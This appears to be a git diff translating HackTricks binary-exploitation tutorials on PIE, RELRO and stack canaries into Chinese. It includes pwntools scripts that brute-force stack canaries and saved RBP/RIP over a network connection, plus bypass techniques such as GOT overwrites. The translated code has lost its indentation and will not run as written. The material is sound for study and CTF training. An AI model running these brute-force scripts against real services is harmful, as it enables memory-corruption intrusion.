+- 可以使用诸如 [**ROP**](../rop-return-oriented-programing/) **来绕过** 此保护,通过执行已存在于二进制文件中的可执行代码块。
+- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
+- **Ret2...**
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
index 99a33743d..1cabb914c 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
@@ -2,30 +2,30 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses.
+编译为 PIE 或 **位置无关可执行文件** 的二进制文件意味着 **程序每次执行时可以加载到不同的内存位置**,防止硬编码地址。
-The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**.
+利用这些二进制文件的技巧在于利用 **相对地址**——程序各部分之间的偏移量即使绝对位置发生变化也保持不变。要 **绕过 PIE,您只需泄露一个地址**,通常通过使用格式字符串攻击等漏洞从 **栈** 中获取。一旦您有了一个地址,您可以通过它们的 **固定偏移量** 计算其他地址。
-A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\
-Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations.
+在利用 PIE 二进制文件时,一个有用的提示是它们的 **基地址通常以 000 结尾**,这是因为内存页是随机化的单位,大小为 0x1000 字节。这种对齐可以是一个关键的 **检查,如果漏洞没有按预期工作**,指示是否已识别正确的基地址。\
+或者您可以将其用于您的漏洞,如果您泄露了一个地址位于 **`0x649e1024`**,您就知道 **基地址是 `0x649e1000`**,然后您可以 **计算** 函数和位置的偏移量。
-## Bypasses
+## 绕过方法
-In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this:
+为了绕过 PIE,需要 **泄露已加载二进制文件的某个地址**,有一些选项可以做到这一点:
-- **Disabled ASLR**: If ASLR is disabled a binary compiled with PIE is always **going to be loaded in the same address**, therefore **PIE is going to be useless** as the addresses of the objects are always going to be in the same place.
-- Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
-- **Brute-force EBP and EIP values** in the stack until you leak the correct ones:
+- **禁用 ASLR**:如果禁用 ASLR,编译为 PIE 的二进制文件将始终 **加载到相同的地址**,因此 **PIE 将变得无用**,因为对象的地址将始终位于相同的位置。
+- 被 **给出** 泄露(在简单的 CTF 挑战中常见, [**查看此示例**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
+- 在栈中 **暴力破解 EBP 和 EIP 值**,直到您泄露正确的值:
{{#ref}}
bypassing-canary-and-pie.md
{{#endref}}
-- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
+- 使用 **任意读取** 漏洞,例如 [**格式字符串**](../../format-strings/) 来泄露二进制文件的地址(例如,从栈中,如前面的技术所示)以获取二进制文件的基地址并从那里使用偏移量。[**在这里找到一个示例**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。
-## References
+## 参考
- [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md
index 996facccb..1ac5372a1 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md
@@ -1,56 +1,55 @@
-# BF Addresses in the Stack
+# BF 地址在栈中
{{#include ../../../banners/hacktricks-training.md}}
-**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
+**如果你面临一个受到 canary 和 PIE(位置无关可执行文件)保护的二进制文件,你可能需要找到一种方法来绕过它们。**
.png>)
> [!NOTE]
-> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
-> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
+> 请注意,**`checksec`** 可能无法发现一个二进制文件受到 canary 保护,如果它是静态编译的,并且无法识别该函数。\
+> 然而,如果你发现一个值在函数调用开始时被保存到栈中,并且在退出之前检查了这个值,你可以手动注意到这一点。
-## Brute-Force Addresses
+## 暴力破解地址
-In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\
-For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.**
+为了**绕过 PIE**,你需要**泄露一些地址**。如果二进制文件没有泄露任何地址,最好的方法是**暴力破解在脆弱函数中保存的 RBP 和 RIP**。\
+例如,如果一个二进制文件同时使用了 **canary** 和 **PIE** 保护,你可以开始暴力破解 canary,然后**下一个** 8 字节(x64)将是保存的 **RBP**,**下一个** 8 字节将是保存的 **RIP**。
> [!TIP]
-> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case.
-
-To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
+> 假设栈中的返回地址属于主二进制代码,如果漏洞位于二进制代码中,通常会是这种情况。
+要从二进制文件中暴力破解 RBP 和 RIP,你可以判断一个有效的猜测字节是否正确,如果程序输出了某些内容或者它没有崩溃。可以使用与暴力破解 canary 提供的**相同函数**来暴力破解 RBP 和 RIP:
```python
from pwn import *
def connect():
- r = remote("localhost", 8788)
+r = remote("localhost", 8788)
def get_bf(base):
- canary = ""
- guess = 0x0
- base += canary
+canary = ""
+guess = 0x0
+base += canary
- while len(canary) < 8:
- while guess != 0xff:
- r = connect()
+while len(canary) < 8:
+while guess != 0xff:
+r = connect()
- r.recvuntil("Username: ")
- r.send(base + chr(guess))
+r.recvuntil("Username: ")
+r.send(base + chr(guess))
- if "SOME OUTPUT" in r.clean():
- print "Guessed correct byte:", format(guess, '02x')
- canary += chr(guess)
- base += chr(guess)
- guess = 0x0
- r.close()
- break
- else:
- guess += 1
- r.close()
+if "SOME OUTPUT" in r.clean():
+print "Guessed correct byte:", format(guess, '02x')
+canary += chr(guess)
+base += chr(guess)
+guess = 0x0
+r.close()
+break
+else:
+guess += 1
+r.close()
- print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
- return base
+print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
+return base
# CANARY BF HERE
canary_offset = 1176
@@ -67,30 +66,25 @@ print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
+要击败 PIE,您需要做的最后一件事是计算 **从泄露的地址中获取有用的地址**:**RBP** 和 **RIP**。
-The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**.
-
-From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP:
-
+从 **RBP** 您可以计算 **您在栈中写入 shell 的位置**。这对于知道您将要在栈中写入字符串 _"/bin/sh\x00"_ 的位置非常有用。要计算泄露的 RBP 和您的 shellcode 之间的距离,您只需在泄露 RBP 后放置一个 **断点** 并检查 **您的 shellcode 位于何处**,然后,您可以计算 shellcode 和 RBP 之间的距离:
```python
INI_SHELLCODE = RBP - 1152
```
-
-From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\
-To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses:
+从 **RIP** 你可以计算出 **PIE 二进制文件的基地址**,这是你创建 **有效 ROP 链** 所需要的。\
+要计算基地址,只需执行 `objdump -d vunbinary` 并检查最新的反汇编地址:
.png>)
-In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000`
-
+在这个例子中,你可以看到只需要 **1.5 字节** 来定位所有代码,因此,在这种情况下,基地址将是 **泄露的 RIP,但以 "000" 结尾**。例如,如果你泄露了 `0x562002970ecf`,基地址就是 `0x562002970000`。
```python
elf.address = RIP - (RIP & 0xfff)
```
+## 改进
-## Improvements
+根据[**这篇文章的一些观察**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking),在泄露RBP和RIP值时,服务器可能不会因某些不是正确的值而崩溃,而BF脚本会认为它得到了正确的值。这是因为**某些地址即使不是完全正确的,也可能不会导致崩溃**。
-According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**.
-
-According to that blog post it's recommended to add a short delay between requests to the server is introduced.
+根据那篇博客文章,建议在对服务器的请求之间添加短暂的延迟。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md
index 59b406c5e..8f47064a2 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md
@@ -4,32 +4,30 @@
## Relro
-**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses).
+**RELRO** 代表 **Relocation Read-Only**,它是用于二进制文件的安全特性,旨在减轻与 **GOT (Global Offset Table)** 重写相关的风险。**RELRO** 保护有两种类型:(1)**Partial RELRO** 和(2)**Full RELRO**。它们都重新排列了 ELF 文件中的 **GOT** 和 **BSS**,但结果和影响不同。具体来说,它们将 **GOT** 部分放在 **BSS** 之前。也就是说,**GOT** 的地址低于 **BSS**,因此通过溢出 **BSS** 中的变量来重写 **GOT** 条目是不可能的(记住,写入内存是从低地址向高地址进行的)。
-Let's break down the concept into its two distinct types for clarity.
+让我们将这个概念分解为两个不同的类型以便于理解。
### **Partial RELRO**
-**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities.
+**Partial RELRO** 采取更简单的方法来增强安全性,而不会显著影响二进制文件的性能。Partial RELRO 使 **.got 只读(GOT 部分的非 PLT 部分)**。请记住,部分区域(如 .got.plt)仍然是可写的,因此仍然容易受到攻击。这 **并不防止 GOT** 被 **任意写入** 漏洞滥用。
-Note: By default, GCC compiles binaries with Partial RELRO.
+注意:默认情况下,GCC 编译的二进制文件使用 Partial RELRO。
### **Full RELRO**
-**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime.
+**Full RELRO** 通过 **使整个 GOT(包括 .got 和 .got.plt)和 .fini_array** 部分完全 **只读** 来加强保护。一旦二进制文件启动,所有函数地址都会在 GOT 中解析并加载,然后,GOT 被标记为只读,有效地防止在运行时对其进行任何修改。
-However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries.
-
-It's possible to see if Full RELRO is **enabled** in a binary with:
+然而,Full RELRO 的权衡在于性能和启动时间。因为它需要在启动时解析所有动态符号,然后再将 GOT 标记为只读,**启用 Full RELRO 的二进制文件可能会经历更长的加载时间**。这种额外的启动开销就是为什么并非所有二进制文件默认启用 Full RELRO。
+可以通过以下方式查看二进制文件是否 **启用** Full RELRO:
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
+## 绕过
-## Bypass
+如果启用了完整的 RELRO,绕过它的唯一方法是找到另一种不需要在 GOT 表中写入以获得任意执行的方法。
-If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution.
-
-Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
+请注意,**LIBC 的 GOT 通常是部分 RELRO**,因此可以通过任意写入进行修改。更多信息请参见 [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md
index 5c1044b98..ccb296f8b 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md
@@ -2,72 +2,72 @@
{{#include ../../../banners/hacktricks-training.md}}
-## **StackGuard and StackShield**
+## **StackGuard 和 StackShield**
-**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**.
+**StackGuard** 在 **EIP (扩展指令指针)** 之前插入一个特殊值,称为 **canary**,具体为 `0x000aff0d`(表示空值、换行符、EOF、回车)以防止缓冲区溢出。然而,像 `recv()`、`memcpy()`、`read()` 和 `bcopy()` 这样的函数仍然存在漏洞,并且它不保护 **EBP (基指针)**。
-**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables.
+**StackShield** 采用比 StackGuard 更复杂的方法,通过维护一个 **全局返回栈**,存储所有返回地址 (**EIPs**)。这种设置确保任何溢出不会造成伤害,因为它允许比较存储的和实际的返回地址以检测溢出发生。此外,StackShield 可以检查返回地址与边界值,以检测 **EIP** 是否指向预期数据空间之外。然而,这种保护可以通过 Return-to-libc、ROP(面向返回的编程)或 ret2ret 等技术绕过,这表明 StackShield 也不保护局部变量。
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
-This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure.
+该机制在 **EBP** 之前放置一个 **canary**,并重新组织局部变量以将缓冲区放置在更高的内存地址,防止它们覆盖其他变量。它还安全地复制传递到局部变量上方的堆栈参数,并使用这些副本作为参数。然而,它不保护少于 8 个元素的数组或用户结构中的缓冲区。
-The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86_64**, at `fs:0x28`.
+**canary** 是从 `/dev/urandom` 派生的随机数或默认值 `0xff0a0000`。它存储在 **TLS (线程局部存储)** 中,允许跨线程共享内存空间具有线程特定的全局或静态变量。这些变量最初从父进程复制,子进程可以在不影响父进程或兄弟进程的情况下更改其数据。然而,如果 **`fork()` 在不创建新 canary 的情况下使用,所有进程(父进程和子进程)共享相同的 canary**,使其变得脆弱。在 **i386** 架构中,canary 存储在 `gs:0x14`,在 **x86_64** 中,存储在 `fs:0x28`。
-This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity.
+这种本地保护识别具有缓冲区易受攻击的函数,并在这些函数的开始处注入代码以放置 canary,在结束时验证其完整性。
-When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling.
+当 Web 服务器使用 `fork()` 时,它允许通过逐字节猜测 canary 字节进行暴力攻击。然而,在 `fork()` 后使用 `execve()` 会覆盖内存空间,从而消除攻击。`vfork()` 允许子进程在尝试写入之前执行而不进行复制,此时会创建一个副本,提供了一种不同的进程创建和内存处理方法。
-### Lengths
+### 长度
-In `x64` binaries, the canary cookie is an **`0x8`** byte qword. The **first seven bytes are random** and the last byte is a **null byte.**
+在 `x64` 二进制文件中,canary cookie 是一个 **`0x8`** 字节的 qword。**前七个字节是随机的**,最后一个字节是 **空字节**。
-In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst three bytes are random** and the last byte is a **null byte.**
+在 `x86` 二进制文件中,canary cookie 是一个 **`0x4`** 字节的 dword。**前三个字节是随机的**,最后一个字节是 **空字节**。
> [!CAUTION]
-> The least significant byte of both canaries is a null byte because it'll be the first in the stack coming from lower addresses and therefore **functions that read strings will stop before reading it**.
+> 两个 canary 的最低有效字节是空字节,因为它将是来自较低地址的堆栈中的第一个,因此 **读取字符串的函数将在读取之前停止**。
-## Bypasses
+## 绕过
-**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value.
+**泄露 canary** 然后用其自身的值覆盖它(例如,缓冲区溢出)。
-- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time:
+- 如果 **canary 在子进程中被 fork**,可能可以 **逐字节暴力破解** 它:
{{#ref}}
bf-forked-stack-canaries.md
{{#endref}}
-- If there is some interesting **leak or arbitrary read vulnerability** in the binary it might be possible to leak it:
+- 如果二进制文件中存在一些有趣的 **泄露或任意读取漏洞**,可能可以泄露它:
{{#ref}}
print-stack-canary.md
{{#endref}}
-- **Overwriting stack stored pointers**
+- **覆盖堆栈存储的指针**
-The stack vulnerable to a stack overflow might **contain addresses to strings or functions that can be overwritten** in order to exploit the vulnerability without needing to reach the stack canary. Check:
+易受堆栈溢出影响的堆栈可能 **包含可以被覆盖的字符串或函数的地址**,以利用该漏洞而无需到达堆栈 canary。检查:
{{#ref}}
../../stack-overflow/pointer-redirecting.md
{{#endref}}
-- **Modifying both master and thread canary**
+- **修改主 canary 和线程 canary**
-A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).
+在受 canary 保护的线程函数中 **缓冲区溢出** 可以用来 **修改线程的主 canary**。因此,缓解措施是无效的,因为检查是使用两个相同的(尽管被修改过的)canary。
-Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
-As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
-This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
+此外,在受 canary 保护的线程函数中 **缓冲区溢出** 可以用来 **修改存储在 TLS 中的主 canary**。这是因为,可能通过线程的 **堆栈中的 bof** 到达存储 TLS 的内存位置(因此,canary)。\
+因此,缓解措施是无效的,因为检查是使用两个相同的(尽管被修改过的)canary。\
+此攻击在以下写作中进行: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
-Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
+还可以查看 [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) 的演示,其中提到通常 **TLS** 是通过 **`mmap`** 存储的,当 **线程** 的 **堆栈** 被创建时,它也是通过 `mmap` 生成的,这可能允许如前所述的溢出。
-- **Modify the GOT entry of `__stack_chk_fail`**
+- **修改 `__stack_chk_fail` 的 GOT 条目**
-If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified.
+如果二进制文件具有部分 RELRO,则可以使用任意写入来修改 **`__stack_chk_fail` 的 GOT 条目**,使其成为一个不会在 canary 被修改时阻止程序的虚拟函数。
-This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
+此攻击在以下写作中进行: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
-## References
+## 参考
- [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html)
- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
index 89eee29ec..5af006f8c 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
@@ -2,55 +2,54 @@
{{#include ../../../banners/hacktricks-training.md}}
-**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
+**如果你面临一个受到 canary 和 PIE(位置无关可执行文件)保护的二进制文件,你可能需要找到一种方法来绕过它们。**
.png>)
> [!NOTE]
-> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
-> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
+> 请注意,**`checksec`** 可能无法发现一个二进制文件受到 canary 保护,如果它是静态编译的,并且无法识别该函数。\
+> 然而,如果你发现一个值在函数调用开始时被保存在栈中,并且在退出之前检查这个值,你可以手动注意到这一点。
## Brute force Canary
-The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**.
+绕过简单 canary 的最佳方法是,如果二进制文件是一个**每次你与之建立新连接时都会分叉子进程的程序**(网络服务),因为每次你连接到它时**将使用相同的 canary**。
-Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**):
+因此,绕过 canary 的最佳方法就是**逐字符暴力破解**,你可以通过检查程序是否崩溃或继续其正常流程来判断猜测的 canary 字节是否正确。在这个例子中,函数**暴力破解一个 8 字节的 canary(x64)**,并通过**检查**服务器是否发送了**响应**来区分正确猜测的字节和错误的字节(在**其他情况下**,另一种方法可以使用**try/except**):
### Example 1
-This example is implemented for 64bits but could be easily implemented for 32 bits.
-
+这个例子是为 64 位实现的,但可以很容易地为 32 位实现。
```python
from pwn import *
def connect():
- r = remote("localhost", 8788)
+r = remote("localhost", 8788)
def get_bf(base):
- canary = ""
- guess = 0x0
- base += canary
+canary = ""
+guess = 0x0
+base += canary
- while len(canary) < 8:
- while guess != 0xff:
- r = connect()
+while len(canary) < 8:
+while guess != 0xff:
+r = connect()
- r.recvuntil("Username: ")
- r.send(base + chr(guess))
+r.recvuntil("Username: ")
+r.send(base + chr(guess))
- if "SOME OUTPUT" in r.clean():
- print "Guessed correct byte:", format(guess, '02x')
- canary += chr(guess)
- base += chr(guess)
- guess = 0x0
- r.close()
- break
- else:
- guess += 1
- r.close()
+if "SOME OUTPUT" in r.clean():
+print "Guessed correct byte:", format(guess, '02x')
+canary += chr(guess)
+base += chr(guess)
+guess = 0x0
+r.close()
+break
+else:
+guess += 1
+r.close()
- print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
- return base
+print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
+return base
canary_offset = 1176
base = "A" * canary_offset
@@ -58,43 +57,41 @@ print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
+### 示例 2
-### Example 2
-
-This is implemented for 32 bits, but this could be easily changed to 64bits.\
-Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
-
+这是为 32 位实现的,但可以很容易地更改为 64 位。\
+还要注意,对于这个示例,**程序首先期望一个字节来指示输入的大小**和有效负载。
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
- known_canary = b""
- test_canary = 0x0
- len_bytes_to_read = 0x21
+known_canary = b""
+test_canary = 0x0
+len_bytes_to_read = 0x21
- for j in range(0, 4):
- # Iterate up to 0xff times to brute force all posible values for byte
- for test_canary in range(0xff):
- print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
+for j in range(0, 4):
+# Iterate up to 0xff times to brute force all posible values for byte
+for test_canary in range(0xff):
+print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
- # Send the current input size
- target.send(len_bytes_to_read.to_bytes(1, "little"))
+# Send the current input size
+target.send(len_bytes_to_read.to_bytes(1, "little"))
- # Send this iterations canary
- target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
+# Send this iterations canary
+target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
- # Scan in the output, determine if we have a correct value
- output = target.recvuntil(b"exit.")
- if b"YUM" in output:
- # If we have a correct value, record the canary value, reset the canary value, and move on
- print(" - next byte is: " + hex(test_canary))
- known_canary = known_canary + test_canary.to_bytes(1, "little")
- len_bytes_to_read += 1
- break
+# Scan in the output, determine if we have a correct value
+output = target.recvuntil(b"exit.")
+if b"YUM" in output:
+# If we have a correct value, record the canary value, reset the canary value, and move on
+print(" - next byte is: " + hex(test_canary))
+known_canary = known_canary + test_canary.to_bytes(1, "little")
+len_bytes_to_read += 1
+break
- # Return the canary
- return known_canary
+# Return the canary
+return known_canary
# Start the target process
target = process('./feedme')
@@ -104,18 +101,17 @@ target = process('./feedme')
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
+## 线程
-## Threads
+同一进程的线程将**共享相同的金丝雀令牌**,因此如果二进制文件在每次攻击发生时生成一个新线程,将有可能**暴力破解**金丝雀。
-Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens.
+此外,受金丝雀保护的**线程函数中的缓冲区溢出**可以用来**修改存储在TLS中的主金丝雀**。这是因为,可能通过线程的**栈中的缓冲区溢出**到达存储TLS(因此,金丝雀)的内存位置。\
+因此,缓解措施是无效的,因为检查使用的是两个相同的金丝雀(尽管被修改过)。\
+此攻击在以下写作中进行: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
-Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
